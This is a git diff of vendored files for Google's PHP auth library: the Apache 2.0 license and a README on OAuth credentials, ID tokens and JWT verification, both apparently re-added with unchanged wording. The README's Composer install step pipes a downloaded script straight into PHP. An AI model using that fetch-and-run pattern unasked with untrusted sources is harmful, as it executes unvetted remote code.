Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. We also recommend that a + file or class name and description of purpose be included on the + same "printed page" as the copyright notice for easier + identification within third-party archives. + + Copyright 2015 Google Inc. + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. diff --git a/vendor/google/auth/LICENSE b/vendor/google/auth/LICENSE index 208badbbde..a148ba564b 100644 --- a/vendor/google/auth/LICENSE +++ b/vendor/google/auth/LICENSE @@ -1,203 +1,203 @@ -Apache License -Version 2.0, January 2004 -http://www.apache.org/licenses/ - -TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION - -1. Definitions. - -"License" shall mean the terms and conditions for use, reproduction, -and distribution as defined by Sections 1 through 9 of this document. - -"Licensor" shall mean the copyright owner or entity authorized by -the copyright owner that is granting the License. - -"Legal Entity" shall mean the union of the acting entity and all -other entities that control, are controlled by, or are under common -control with that entity. For the purposes of this definition, -"control" means (i) the power, direct or indirect, to cause the -direction or management of such entity, whether by contract or -otherwise, or (ii) ownership of fifty percent (50%) or more of the -outstanding shares, or (iii) beneficial ownership of such entity. - -"You" (or "Your") shall mean an individual or Legal Entity -exercising permissions granted by this License. - -"Source" form shall mean the preferred form for making modifications, -including but not limited to software source code, documentation -source, and configuration files. - -"Object" form shall mean any form resulting from mechanical -transformation or translation of a Source form, including but -not limited to compiled object code, generated documentation, -and conversions to other media types. - -"Work" shall mean the work of authorship, whether in Source or -Object form, made available under the License, as indicated by a -copyright notice that is included in or attached to the work -(an example is provided in the Appendix below). - -"Derivative Works" shall mean any work, whether in Source or Object -form, that is based on (or derived from) the Work and for which the -editorial revisions, annotations, elaborations, or other modifications -represent, as a whole, an original work of authorship. For the purposes -of this License, Derivative Works shall not include works that remain -separable from, or merely link (or bind by name) to the interfaces of, -the Work and Derivative Works thereof. - -"Contribution" shall mean any work of authorship, including -the original version of the Work and any modifications or additions -to that Work or Derivative Works thereof, that is intentionally -submitted to Licensor for inclusion in the Work by the copyright owner -or by an individual or Legal Entity authorized to submit on behalf of -the copyright owner. For the purposes of this definition, "submitted" -means any form of electronic, verbal, or written communication sent -to the Licensor or its representatives, including but not limited to -communication on electronic mailing lists, source code control systems, -and issue tracking systems that are managed by, or on behalf of, the -Licensor for the purpose of discussing and improving the Work, but -excluding communication that is conspicuously marked or otherwise -designated in writing by the copyright owner as "Not a Contribution." - -"Contributor" shall mean Licensor and any individual or Legal Entity -on behalf of whom a Contribution has been received by Licensor and -subsequently incorporated within the Work. - -2. Grant of Copyright License. Subject to the terms and conditions of -this License, each Contributor hereby grants to You a perpetual, -worldwide, non-exclusive, no-charge, royalty-free, irrevocable -copyright license to reproduce, prepare Derivative Works of, -publicly display, publicly perform, sublicense, and distribute the -Work and such Derivative Works in Source or Object form. - -3. Grant of Patent License. Subject to the terms and conditions of -this License, each Contributor hereby grants to You a perpetual, -worldwide, non-exclusive, no-charge, royalty-free, irrevocable -(except as stated in this section) patent license to make, have made, -use, offer to sell, sell, import, and otherwise transfer the Work, -where such license applies only to those patent claims licensable -by such Contributor that are necessarily infringed by their -Contribution(s) alone or by combination of their Contribution(s) -with the Work to which such Contribution(s) was submitted. If You -institute patent litigation against any entity (including a -cross-claim or counterclaim in a lawsuit) alleging that the Work -or a Contribution incorporated within the Work constitutes direct -or contributory patent infringement, then any patent licenses -granted to You under this License for that Work shall terminate -as of the date such litigation is filed. - -4. Redistribution. You may reproduce and distribute copies of the -Work or Derivative Works thereof in any medium, with or without -modifications, and in Source or Object form, provided that You -meet the following conditions: - -(a) You must give any other recipients of the Work or -Derivative Works a copy of this License; and - -(b) You must cause any modified files to carry prominent notices -stating that You changed the files; and - -(c) You must retain, in the Source form of any Derivative Works -that You distribute, all copyright, patent, trademark, and -attribution notices from the Source form of the Work, -excluding those notices that do not pertain to any part of -the Derivative Works; and - -(d) If the Work includes a "NOTICE" text file as part of its -distribution, then any Derivative Works that You distribute must -include a readable copy of the attribution notices contained -within such NOTICE file, excluding those notices that do not -pertain to any part of the Derivative Works, in at least one -of the following places: within a NOTICE text file distributed -as part of the Derivative Works; within the Source form or -documentation, if provided along with the Derivative Works; or, -within a display generated by the Derivative Works, if and -wherever such third-party notices normally appear. The contents -of the NOTICE file are for informational purposes only and -do not modify the License. You may add Your own attribution -notices within Derivative Works that You distribute, alongside -or as an addendum to the NOTICE text from the Work, provided -that such additional attribution notices cannot be construed -as modifying the License. - -You may add Your own copyright statement to Your modifications and -may provide additional or different license terms and conditions -for use, reproduction, or distribution of Your modifications, or -for any such Derivative Works as a whole, provided Your use, -reproduction, and distribution of the Work otherwise complies with -the conditions stated in this License. - -5. Submission of Contributions. Unless You explicitly state otherwise, -any Contribution intentionally submitted for inclusion in the Work -by You to the Licensor shall be under the terms and conditions of -this License, without any additional terms or conditions. -Notwithstanding the above, nothing herein shall supersede or modify -the terms of any separate license agreement you may have executed -with Licensor regarding such Contributions. - -6. Trademarks. This License does not grant permission to use the trade -names, trademarks, service marks, or product names of the Licensor, -except as required for reasonable and customary use in describing the -origin of the Work and reproducing the content of the NOTICE file. - -7. Disclaimer of Warranty. Unless required by applicable law or -agreed to in writing, Licensor provides the Work (and each -Contributor provides its Contributions) on an "AS IS" BASIS, -WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or -implied, including, without limitation, any warranties or conditions -of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A -PARTICULAR PURPOSE. You are solely responsible for determining the -appropriateness of using or redistributing the Work and assume any -risks associated with Your exercise of permissions under this License. - -8. Limitation of Liability. In no event and under no legal theory, -whether in tort (including negligence), contract, or otherwise, -unless required by applicable law (such as deliberate and grossly -negligent acts) or agreed to in writing, shall any Contributor be -liable to You for damages, including any direct, indirect, special, -incidental, or consequential damages of any character arising as a -result of this License or out of the use or inability to use the -Work (including but not limited to damages for loss of goodwill, -work stoppage, computer failure or malfunction, or any and all -other commercial damages or losses), even if such Contributor -has been advised of the possibility of such damages. - -9. Accepting Warranty or Additional Liability. While redistributing -the Work or Derivative Works thereof, You may choose to offer, -and charge a fee for, acceptance of support, warranty, indemnity, -or other liability obligations and/or rights consistent with this -License. However, in accepting such obligations, You may act only -on Your own behalf and on Your sole responsibility, not on behalf -of any other Contributor, and only if You agree to indemnify, -defend, and hold each Contributor harmless for any liability -incurred by, or claims asserted against, such Contributor by reason -of your accepting any such warranty or additional liability. - -END OF TERMS AND CONDITIONS - -APPENDIX: How to apply the Apache License to your work. - -To apply the Apache License to your work, attach the following -boilerplate notice, with the fields enclosed by brackets "[]" -replaced with your own identifying information. (Don't include -the brackets!) The text should be enclosed in the appropriate -comment syntax for the file format. We also recommend that a -file or class name and description of purpose be included on the -same "printed page" as the copyright notice for easier -identification within third-party archives. - -Copyright [yyyy] [name of copyright owner] - -Licensed under the Apache License, Version 2.0 (the "License"); -you may not use this file except in compliance with the License. -You may obtain a copy of the License at - -http://www.apache.org/licenses/LICENSE-2.0 - -Unless required by applicable law or agreed to in writing, software -distributed under the License is distributed on an "AS IS" BASIS, -WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -See the License for the specific language governing permissions and -limitations under the License. - - +Apache License +Version 2.0, January 2004 +http://www.apache.org/licenses/ + +TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + +1. Definitions. + +"License" shall mean the terms and conditions for use, reproduction, +and distribution as defined by Sections 1 through 9 of this document. + +"Licensor" shall mean the copyright owner or entity authorized by +the copyright owner that is granting the License. + +"Legal Entity" shall mean the union of the acting entity and all +other entities that control, are controlled by, or are under common +control with that entity. For the purposes of this definition, +"control" means (i) the power, direct or indirect, to cause the +direction or management of such entity, whether by contract or +otherwise, or (ii) ownership of fifty percent (50%) or more of the +outstanding shares, or (iii) beneficial ownership of such entity. + +"You" (or "Your") shall mean an individual or Legal Entity +exercising permissions granted by this License. + +"Source" form shall mean the preferred form for making modifications, +including but not limited to software source code, documentation +source, and configuration files. + +"Object" form shall mean any form resulting from mechanical +transformation or translation of a Source form, including but +not limited to compiled object code, generated documentation, +and conversions to other media types. + +"Work" shall mean the work of authorship, whether in Source or +Object form, made available under the License, as indicated by a +copyright notice that is included in or attached to the work +(an example is provided in the Appendix below). + +"Derivative Works" shall mean any work, whether in Source or Object +form, that is based on (or derived from) the Work and for which the +editorial revisions, annotations, elaborations, or other modifications +represent, as a whole, an original work of authorship. For the purposes +of this License, Derivative Works shall not include works that remain +separable from, or merely link (or bind by name) to the interfaces of, +the Work and Derivative Works thereof. + +"Contribution" shall mean any work of authorship, including +the original version of the Work and any modifications or additions +to that Work or Derivative Works thereof, that is intentionally +submitted to Licensor for inclusion in the Work by the copyright owner +or by an individual or Legal Entity authorized to submit on behalf of +the copyright owner. For the purposes of this definition, "submitted" +means any form of electronic, verbal, or written communication sent +to the Licensor or its representatives, including but not limited to +communication on electronic mailing lists, source code control systems, +and issue tracking systems that are managed by, or on behalf of, the +Licensor for the purpose of discussing and improving the Work, but +excluding communication that is conspicuously marked or otherwise +designated in writing by the copyright owner as "Not a Contribution." + +"Contributor" shall mean Licensor and any individual or Legal Entity +on behalf of whom a Contribution has been received by Licensor and +subsequently incorporated within the Work. + +2. Grant of Copyright License. Subject to the terms and conditions of +this License, each Contributor hereby grants to You a perpetual, +worldwide, non-exclusive, no-charge, royalty-free, irrevocable +copyright license to reproduce, prepare Derivative Works of, +publicly display, publicly perform, sublicense, and distribute the +Work and such Derivative Works in Source or Object form. + +3. Grant of Patent License. Subject to the terms and conditions of +this License, each Contributor hereby grants to You a perpetual, +worldwide, non-exclusive, no-charge, royalty-free, irrevocable +(except as stated in this section) patent license to make, have made, +use, offer to sell, sell, import, and otherwise transfer the Work, +where such license applies only to those patent claims licensable +by such Contributor that are necessarily infringed by their +Contribution(s) alone or by combination of their Contribution(s) +with the Work to which such Contribution(s) was submitted. If You +institute patent litigation against any entity (including a +cross-claim or counterclaim in a lawsuit) alleging that the Work +or a Contribution incorporated within the Work constitutes direct +or contributory patent infringement, then any patent licenses +granted to You under this License for that Work shall terminate +as of the date such litigation is filed. + +4. Redistribution. You may reproduce and distribute copies of the +Work or Derivative Works thereof in any medium, with or without +modifications, and in Source or Object form, provided that You +meet the following conditions: + +(a) You must give any other recipients of the Work or +Derivative Works a copy of this License; and + +(b) You must cause any modified files to carry prominent notices +stating that You changed the files; and + +(c) You must retain, in the Source form of any Derivative Works +that You distribute, all copyright, patent, trademark, and +attribution notices from the Source form of the Work, +excluding those notices that do not pertain to any part of +the Derivative Works; and + +(d) If the Work includes a "NOTICE" text file as part of its +distribution, then any Derivative Works that You distribute must +include a readable copy of the attribution notices contained +within such NOTICE file, excluding those notices that do not +pertain to any part of the Derivative Works, in at least one +of the following places: within a NOTICE text file distributed +as part of the Derivative Works; within the Source form or +documentation, if provided along with the Derivative Works; or, +within a display generated by the Derivative Works, if and +wherever such third-party notices normally appear. The contents +of the NOTICE file are for informational purposes only and +do not modify the License. You may add Your own attribution +notices within Derivative Works that You distribute, alongside +or as an addendum to the NOTICE text from the Work, provided +that such additional attribution notices cannot be construed +as modifying the License. + +You may add Your own copyright statement to Your modifications and +may provide additional or different license terms and conditions +for use, reproduction, or distribution of Your modifications, or +for any such Derivative Works as a whole, provided Your use, +reproduction, and distribution of the Work otherwise complies with +the conditions stated in this License. + +5. Submission of Contributions. Unless You explicitly state otherwise, +any Contribution intentionally submitted for inclusion in the Work +by You to the Licensor shall be under the terms and conditions of +this License, without any additional terms or conditions. +Notwithstanding the above, nothing herein shall supersede or modify +the terms of any separate license agreement you may have executed +with Licensor regarding such Contributions. + +6. Trademarks. This License does not grant permission to use the trade +names, trademarks, service marks, or product names of the Licensor, +except as required for reasonable and customary use in describing the +origin of the Work and reproducing the content of the NOTICE file. + +7. Disclaimer of Warranty. Unless required by applicable law or +agreed to in writing, Licensor provides the Work (and each +Contributor provides its Contributions) on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or +implied, including, without limitation, any warranties or conditions +of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A +PARTICULAR PURPOSE. You are solely responsible for determining the +appropriateness of using or redistributing the Work and assume any +risks associated with Your exercise of permissions under this License. + +8. Limitation of Liability. In no event and under no legal theory, +whether in tort (including negligence), contract, or otherwise, +unless required by applicable law (such as deliberate and grossly +negligent acts) or agreed to in writing, shall any Contributor be +liable to You for damages, including any direct, indirect, special, +incidental, or consequential damages of any character arising as a +result of this License or out of the use or inability to use the +Work (including but not limited to damages for loss of goodwill, +work stoppage, computer failure or malfunction, or any and all +other commercial damages or losses), even if such Contributor +has been advised of the possibility of such damages. + +9. Accepting Warranty or Additional Liability. While redistributing +the Work or Derivative Works thereof, You may choose to offer, +and charge a fee for, acceptance of support, warranty, indemnity, +or other liability obligations and/or rights consistent with this +License. However, in accepting such obligations, You may act only +on Your own behalf and on Your sole responsibility, not on behalf +of any other Contributor, and only if You agree to indemnify, +defend, and hold each Contributor harmless for any liability +incurred by, or claims asserted against, such Contributor by reason +of your accepting any such warranty or additional liability. + +END OF TERMS AND CONDITIONS + +APPENDIX: How to apply the Apache License to your work. + +To apply the Apache License to your work, attach the following +boilerplate notice, with the fields enclosed by brackets "[]" +replaced with your own identifying information. (Don't include +the brackets!) The text should be enclosed in the appropriate +comment syntax for the file format. We also recommend that a +file or class name and description of purpose be included on the +same "printed page" as the copyright notice for easier +identification within third-party archives. + +Copyright [yyyy] [name of copyright owner] + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + +http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. + + diff --git a/vendor/google/auth/README.md b/vendor/google/auth/README.md index 4c95fb2fb4..3b1dc21eed 100644 --- a/vendor/google/auth/README.md +++ b/vendor/google/auth/README.md @@ -1,312 +1,312 @@ -# Google Auth Library for PHP - -
                                -
                                Homepage
                                http://www.github.com/google/google-auth-library-php
                                -
                                Reference Docs
                                https://googleapis.github.io/google-auth-library-php/master/
                                -
                                Authors
                                -
                                Tim Emiola
                                -
                                Stanley Cheung
                                -
                                Brent Shaffer
                                -
                                Copyright
                                Copyright © 2015 Google, Inc.
                                -
                                License
                                Apache 2.0
                                -
                                - -## Description - -This is Google's officially supported PHP client library for using OAuth 2.0 -authorization and authentication with Google APIs. - -### Installing via Composer - -The recommended way to install the google auth library is through -[Composer](http://getcomposer.org). - -```bash -# Install Composer -curl -sS https://getcomposer.org/installer | php -``` - -Next, run the Composer command to install the latest stable version: - -```bash -composer.phar require google/auth -``` - -## Application Default Credentials - -This library provides an implementation of -[application default credentials][application default credentials] for PHP. - -The Application Default Credentials provide a simple way to get authorization -credentials for use in calling Google APIs. - -They are best suited for cases when the call needs to have the same identity -and authorization level for the application independent of the user. This is -the recommended approach to authorize calls to Cloud APIs, particularly when -you're building an application that uses Google Compute Engine. - -#### Download your Service Account Credentials JSON file - -To use `Application Default Credentials`, You first need to download a set of -JSON credentials for your project. Go to **APIs & Services** > **Credentials** in -the [Google Developers Console][developer console] and select -**Service account** from the **Add credentials** dropdown. - -> This file is your *only copy* of these credentials. It should never be -> committed with your source code, and should be stored securely. - -Once downloaded, store the path to this file in the -`GOOGLE_APPLICATION_CREDENTIALS` environment variable. - -```php -putenv('GOOGLE_APPLICATION_CREDENTIALS=/path/to/my/credentials.json'); -``` - -> PHP's `putenv` function is just one way to set an environment variable. -> Consider using `.htaccess` or apache configuration files as well. - -#### Enable the API you want to use - -Before making your API call, you must be sure the API you're calling has been -enabled. Go to **APIs & Auth** > **APIs** in the -[Google Developers Console][developer console] and enable the APIs you'd like to -call. For the example below, you must enable the `Drive API`. - -#### Call the APIs - -As long as you update the environment variable below to point to *your* JSON -credentials file, the following code should output a list of your Drive files. - -```php -use Google\Auth\ApplicationDefaultCredentials; -use GuzzleHttp\Client; -use GuzzleHttp\HandlerStack; - -// specify the path to your application credentials -putenv('GOOGLE_APPLICATION_CREDENTIALS=/path/to/my/credentials.json'); - -// define the scopes for your API call -$scopes = ['https://www.googleapis.com/auth/drive.readonly']; - -// create middleware -$middleware = ApplicationDefaultCredentials::getMiddleware($scopes); -$stack = HandlerStack::create(); -$stack->push($middleware); - -// create the HTTP client -$client = new Client([ - 'handler' => $stack, - 'base_uri' => 'https://www.googleapis.com', - 'auth' => 'google_auth' // authorize all requests -]); - -// make the request -$response = $client->get('drive/v2/files'); - -// show the result! -print_r((string) $response->getBody()); -``` - -##### Guzzle 5 Compatibility - -If you are using [Guzzle 5][Guzzle 5], replace the `create middleware` and -`create the HTTP Client` steps with the following: - -```php -// create the HTTP client -$client = new Client([ - 'base_url' => 'https://www.googleapis.com', - 'auth' => 'google_auth' // authorize all requests -]); - -// create subscriber -$subscriber = ApplicationDefaultCredentials::getSubscriber($scopes); -$client->getEmitter()->attach($subscriber); -``` - -#### Call using an ID Token -If your application is running behind Cloud Run, or using Cloud Identity-Aware -Proxy (IAP), you will need to fetch an ID token to access your application. For -this, use the static method `getIdTokenMiddleware` on -`ApplicationDefaultCredentials`. - -```php -use Google\Auth\ApplicationDefaultCredentials; -use GuzzleHttp\Client; -use GuzzleHttp\HandlerStack; - -// specify the path to your application credentials -putenv('GOOGLE_APPLICATION_CREDENTIALS=/path/to/my/credentials.json'); - -// Provide the ID token audience. This can be a Client ID associated with an IAP application, -// Or the URL associated with a CloudRun App -// $targetAudience = 'IAP_CLIENT_ID.apps.googleusercontent.com'; -// $targetAudience = 'https://service-1234-uc.a.run.app'; -$targetAudience = 'YOUR_ID_TOKEN_AUDIENCE'; - -// create middleware -$middleware = ApplicationDefaultCredentials::getIdTokenMiddleware($targetAudience); -$stack = HandlerStack::create(); -$stack->push($middleware); - -// create the HTTP client -$client = new Client([ - 'handler' => $stack, - 'auth' => 'google_auth', - // Cloud Run, IAP, or custom resource URL - 'base_uri' => 'https://YOUR_PROTECTED_RESOURCE', -]); - -// make the request -$response = $client->get('/'); - -// show the result! -print_r((string) $response->getBody()); -``` - -For invoking Cloud Run services, your service account will need the -[`Cloud Run Invoker`](https://cloud.google.com/run/docs/authenticating/service-to-service) -IAM permission. - -For invoking Cloud Identity-Aware Proxy, you will need to pass the Client ID -used when you set up your protected resource as the target audience. See how to -[secure your IAP app with signed headers](https://cloud.google.com/iap/docs/signed-headers-howto). - -#### Call using a specific JSON key -If you want to use a specific JSON key instead of using `GOOGLE_APPLICATION_CREDENTIALS` environment variable, you can - do this: - -```php -use Google\Auth\CredentialsLoader; -use Google\Auth\Middleware\AuthTokenMiddleware; -use GuzzleHttp\Client; -use GuzzleHttp\HandlerStack; - -// Define the Google Application Credentials array -$jsonKey = ['key' => 'value']; - -// define the scopes for your API call -$scopes = ['https://www.googleapis.com/auth/drive.readonly']; - -// Load credentials -$creds = CredentialsLoader::makeCredentials($scopes, $jsonKey); - -// optional caching -// $creds = new FetchAuthTokenCache($creds, $cacheConfig, $cache); - -// create middleware -$middleware = new AuthTokenMiddleware($creds); -$stack = HandlerStack::create(); -$stack->push($middleware); - -// create the HTTP client -$client = new Client([ - 'handler' => $stack, - 'base_uri' => 'https://www.googleapis.com', - 'auth' => 'google_auth' // authorize all requests -]); - -// make the request -$response = $client->get('drive/v2/files'); - -// show the result! -print_r((string) $response->getBody()); - -``` - -#### Call using Proxy-Authorization Header -If your application is behind a proxy such as [Google Cloud IAP][iap-proxy-header], -and your application occupies the `Authorization` request header, -you can include the ID token in a `Proxy-Authorization: Bearer` -header instead. If a valid ID token is found in a `Proxy-Authorization` header, -IAP authorizes the request with it. After authorizing the request, IAP passes -the Authorization header to your application without processing the content. -For this, use the static method `getProxyIdTokenMiddleware` on -`ApplicationDefaultCredentials`. - -```php -use Google\Auth\ApplicationDefaultCredentials; -use GuzzleHttp\Client; -use GuzzleHttp\HandlerStack; - -// specify the path to your application credentials -putenv('GOOGLE_APPLICATION_CREDENTIALS=/path/to/my/credentials.json'); - -// Provide the ID token audience. This can be a Client ID associated with an IAP application -// $targetAudience = 'IAP_CLIENT_ID.apps.googleusercontent.com'; -$targetAudience = 'YOUR_ID_TOKEN_AUDIENCE'; - -// create middleware -$middleware = ApplicationDefaultCredentials::getProxyIdTokenMiddleware($targetAudience); -$stack = HandlerStack::create(); -$stack->push($middleware); - -// create the HTTP client -$client = new Client([ - 'handler' => $stack, - 'auth' => ['username', 'pass'], // auth option handled by your application - 'proxy_auth' => 'google_auth', -]); - -// make the request -$response = $client->get('/'); - -// show the result! -print_r((string) $response->getBody()); -``` - -[iap-proxy-header]: https://cloud.google.com/iap/docs/authentication-howto#authenticating_from_proxy-authorization_header - -#### Verifying JWTs - -If you are [using Google ID tokens to authenticate users][google-id-tokens], use -the `Google\Auth\AccessToken` class to verify the ID token: - -```php -use Google\Auth\AccessToken; - -$auth = new AccessToken(); -$auth->verify($idToken); -``` - -If your app is running behind [Google Identity-Aware Proxy][iap-id-tokens] -(IAP), you can verify the ID token coming from the IAP server by pointing to the -appropriate certificate URL for IAP. This is because IAP signs the ID -tokens with a different key than the Google Identity service: - -```php -use Google\Auth\AccessToken; - -$auth = new AccessToken(); -$auth->verify($idToken, [ - 'certsLocation' => AccessToken::IAP_CERT_URL -]); -``` - -[google-id-tokens]: https://developers.google.com/identity/sign-in/web/backend-auth -[iap-id-tokens]: https://cloud.google.com/iap/docs/signed-headers-howto - -## License - -This library is licensed under Apache 2.0. Full license text is -available in [COPYING][copying]. - -## Contributing - -See [CONTRIBUTING][contributing]. - -## Support - -Please -[report bugs at the project on Github](https://github.com/google/google-auth-library-php/issues). Don't -hesitate to -[ask questions](http://stackoverflow.com/questions/tagged/google-auth-library-php) -about the client or APIs on [StackOverflow](http://stackoverflow.com). - -[google-apis-php-client]: https://github.com/google/google-api-php-client -[application default credentials]: https://developers.google.com/accounts/docs/application-default-credentials -[contributing]: https://github.com/google/google-auth-library-php/tree/master/.github/CONTRIBUTING.md -[copying]: https://github.com/google/google-auth-library-php/tree/master/COPYING -[Guzzle]: https://github.com/guzzle/guzzle -[Guzzle 5]: http://docs.guzzlephp.org/en/5.3 -[developer console]: https://console.developers.google.com +# Google Auth Library for PHP + +
                                +
                                Homepage
                                http://www.github.com/google/google-auth-library-php
                                +
                                Reference Docs
                                https://googleapis.github.io/google-auth-library-php/master/
                                +
                                Authors
                                +
                                Tim Emiola
                                +
                                Stanley Cheung
                                +
                                Brent Shaffer
                                +
                                Copyright
                                Copyright © 2015 Google, Inc.
                                +
                                License
                                Apache 2.0
                                +
                                + +## Description + +This is Google's officially supported PHP client library for using OAuth 2.0 +authorization and authentication with Google APIs. + +### Installing via Composer + +The recommended way to install the google auth library is through +[Composer](http://getcomposer.org). + +```bash +# Install Composer +curl -sS https://getcomposer.org/installer | php +``` + +Next, run the Composer command to install the latest stable version: + +```bash +composer.phar require google/auth +``` + +## Application Default Credentials + +This library provides an implementation of +[application default credentials][application default credentials] for PHP. + +The Application Default Credentials provide a simple way to get authorization +credentials for use in calling Google APIs. + +They are best suited for cases when the call needs to have the same identity +and authorization level for the application independent of the user. This is +the recommended approach to authorize calls to Cloud APIs, particularly when +you're building an application that uses Google Compute Engine. + +#### Download your Service Account Credentials JSON file + +To use `Application Default Credentials`, You first need to download a set of +JSON credentials for your project. Go to **APIs & Services** > **Credentials** in +the [Google Developers Console][developer console] and select +**Service account** from the **Add credentials** dropdown. + +> This file is your *only copy* of these credentials. It should never be +> committed with your source code, and should be stored securely. + +Once downloaded, store the path to this file in the +`GOOGLE_APPLICATION_CREDENTIALS` environment variable. + +```php +putenv('GOOGLE_APPLICATION_CREDENTIALS=/path/to/my/credentials.json'); +``` + +> PHP's `putenv` function is just one way to set an environment variable. +> Consider using `.htaccess` or apache configuration files as well. + +#### Enable the API you want to use + +Before making your API call, you must be sure the API you're calling has been +enabled. Go to **APIs & Auth** > **APIs** in the +[Google Developers Console][developer console] and enable the APIs you'd like to +call. For the example below, you must enable the `Drive API`. + +#### Call the APIs + +As long as you update the environment variable below to point to *your* JSON +credentials file, the following code should output a list of your Drive files. + +```php +use Google\Auth\ApplicationDefaultCredentials; +use GuzzleHttp\Client; +use GuzzleHttp\HandlerStack; + +// specify the path to your application credentials +putenv('GOOGLE_APPLICATION_CREDENTIALS=/path/to/my/credentials.json'); + +// define the scopes for your API call +$scopes = ['https://www.googleapis.com/auth/drive.readonly']; + +// create middleware +$middleware = ApplicationDefaultCredentials::getMiddleware($scopes); +$stack = HandlerStack::create(); +$stack->push($middleware); + +// create the HTTP client +$client = new Client([ + 'handler' => $stack, + 'base_uri' => 'https://www.googleapis.com', + 'auth' => 'google_auth' // authorize all requests +]); + +// make the request +$response = $client->get('drive/v2/files'); + +// show the result! +print_r((string) $response->getBody()); +``` + +##### Guzzle 5 Compatibility + +If you are using [Guzzle 5][Guzzle 5], replace the `create middleware` and +`create the HTTP Client` steps with the following: + +```php +// create the HTTP client +$client = new Client([ + 'base_url' => 'https://www.googleapis.com', + 'auth' => 'google_auth' // authorize all requests +]); + +// create subscriber +$subscriber = ApplicationDefaultCredentials::getSubscriber($scopes); +$client->getEmitter()->attach($subscriber); +``` + +#### Call using an ID Token +If your application is running behind Cloud Run, or using Cloud Identity-Aware +Proxy (IAP), you will need to fetch an ID token to access your application. For +this, use the static method `getIdTokenMiddleware` on +`ApplicationDefaultCredentials`. + +```php +use Google\Auth\ApplicationDefaultCredentials; +use GuzzleHttp\Client; +use GuzzleHttp\HandlerStack; + +// specify the path to your application credentials 